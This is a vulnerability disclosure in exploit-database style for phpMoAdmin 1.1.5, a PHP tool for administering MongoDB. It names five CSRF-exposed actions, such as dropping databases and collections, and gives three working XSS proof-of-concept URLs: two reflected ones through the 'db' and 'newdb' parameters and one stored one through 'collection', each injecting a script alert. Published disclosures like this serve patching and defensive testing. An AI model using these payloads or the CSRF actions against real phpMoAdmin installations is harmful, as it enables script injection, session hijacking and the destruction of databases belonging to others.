################################################################################################################################## # Exploit Title: phpMoAdmin 1.1.5 - MongoDB GUI | Multiple Vulnerabilities # Date: 03.01.2019 # Exploit Author: Ozer Goker # Vendor Homepage: http://www.phpmoadmin.com # Software Link: http://www.phpmoadmin.com/file/phpmoadmin.zip # Version: 1.1.5 ################################################################################################################################## Introduction phpMoAdmin - MongoDB GUI MongoDB administration tool for PHP Vulnerabilities: CSRF | XSS Reflected & Stored CSRF details: ################################################################################# CSRF1 Create Database ################################################################################# CSRF2 Drop Database ################################################################################# CSRF3 Repair Database ################################################################################# CSRF4 Add New Collection ################################################################################# CSRF5 Drop Collection ################################################################################# XSS details: ################################################################################# XSS1 | Reflected URL http://localhost/phpmoadmin/moadmin.php?db=admin%3Cscript%3Ealert(1)%3C/script%3E METHOD Get PARAMETER db PAYLOAD ################################################################################# XSS2 | Reflected URL http://localhost/phpmoadmin/moadmin.php?db=new.database&newdb=testdb%3Cscript%3Ealert(2)%3C/script%3E METHOD Get PARAMETER newdb PAYLOAD ################################################################################# XSS3 | Stored URL http://localhost/phpmoadmin/moadmin.php?collection=%3Cscript%3Ealert%283%29%3C%2Fscript%3E&action=createCollection&db=testdb METHOD Get PARAMETER collection PAYLOAD #################################################################################